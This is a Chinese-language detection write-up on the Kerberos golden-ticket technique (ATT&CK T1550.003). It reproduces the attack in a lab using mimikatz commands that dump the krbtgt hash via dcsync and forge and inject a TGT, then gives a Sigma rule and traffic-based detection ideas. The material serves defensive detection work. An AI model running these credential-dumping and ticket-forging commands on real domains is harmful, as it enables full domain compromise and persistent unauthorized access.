T1550-003-win-黄金票据
来自ATT&CK的描述
攻击者可能会使用被盗的Kerberos票证“传递票证”,使其在目标组织的环境中横向移动,从而绕过正常的系统访问控制。传递票证(PtT)是一种使用Kerberos票证对系统进行身份验证的方法,无需访问帐户密码。Kerberos身份验证可以用作横向移动到远程系统的第一步。
在这种技术中,有效的Kerberos票有效的帐户被捕获OS凭证倾销。取决于访问级别,可以获得用户的服务票证或票证授予票证(TGT)。服务票证允许访问特定资源,而TGT可以用于从票证授予服务(TGS)请求服务票证以访问用户有权访问的任何资源。
可以为使用Kerberos作为身份验证机制的服务获取Silver Ticket,并用于生成票证以访问该特定资源和承载该资源的系统(例如,SharePoint)。
可以使用密钥分发服务帐户KRBTGT帐户NTLM哈希来获取域的Golden Ticket,这可以为Active Directory中的任何帐户生成TGT。
测试案例
黄金票据(golden ticket):伪造票据授予票据(TGT),也被称为认证票据。与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,再重新获取权限,因为常见的在域中管理员知道自己被入侵了 往往只是简单的修改域管的账号 恰恰krbtgt却被忽略…
检测日志
windows 安全日志
测试复现
测试环境
Windows server 2016(AD域控)
Win 7(靶机)
测试过程
尝试访问DC目录
dir \\ICBC.abcc.org\c$\
导出krbtgt用户的hash和sid(使用mimikatz.exe工具)
lsadump::dcsync /domain:abcc.org /user:krbtgt #domian:后面是域控名 user后面是krbtgt用户
在域内其他Client(用户机器)上使用其他域管理员来抓取krbtgt用户的hash和sid(使用mimikatz.exe工具),这里命令和上面的命令是一样的。也可以利用其它方法获取krbtgt的NTML hash
清除自己Client端(域内其他机器)的票据
在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list查看我们当前的票据。
如果存在其它凭据,可以使用kerberos::purge清除当前用户票据。
伪造TGT票据
方法一
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
验证攻击效果
dir \\ICBC.abcc.org\c$\
方法二
mimikatz# kerberos::gloden /domain:*.com /sid:<域SID> /krbtgt: <KRBTGT NTLM Hash> /user:<任意用户名> /ticket:test.kribi
or
mimikatz# kerberos::gloden /domain:*.com /sid: <域SID> /aes256: <KRBTGT aes256> /user: <任意用户名> /ticket:test.kribi
导入*.kribi文件
验证是否成功
测试留痕
正常日志痕迹
异常日志痕迹
检测规则/思路
Sigma规则
title: windows本地账户操纵
description: win7测试
references:
tags: T1550-003
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4624 #账户登录
Account domain: '*.*' #可参考示例日志进行理解
selection2:
EventID: 4672 #特殊登录
Account domain: _ #账户域为空
timeframe: last 5s
condition: all of them
level: medium
建议
最后,存在一些问题,mimikatz最新版本已经更新修复了一下问题,通过上述此特征检测黄金票据可能会产生误报或者漏洞,建议采用偏向流量侧的检测方法进行检测,思路如下。
1.AS-REP返回的Ticket字段中,虽然经过krbtgt密码的加密,但我们仍然可以对其计算唯一摘要值。
2.跟踪每一次的AS-REP TGT票据颁发,记录下Ticket Hash,存入列表A。
3.对每一次TGS-REQ中TGT Hash进行确认,判断该值是否存在于已知颁发过的TGT列表A中。如果不存在,则属于伪造的TGT,即黄金票据。
4.列表A的内容可设置过期时间,TGT和ST的默认最大有效期都是10小时。
参考推荐
MITRE-ATT&CK-T1550-003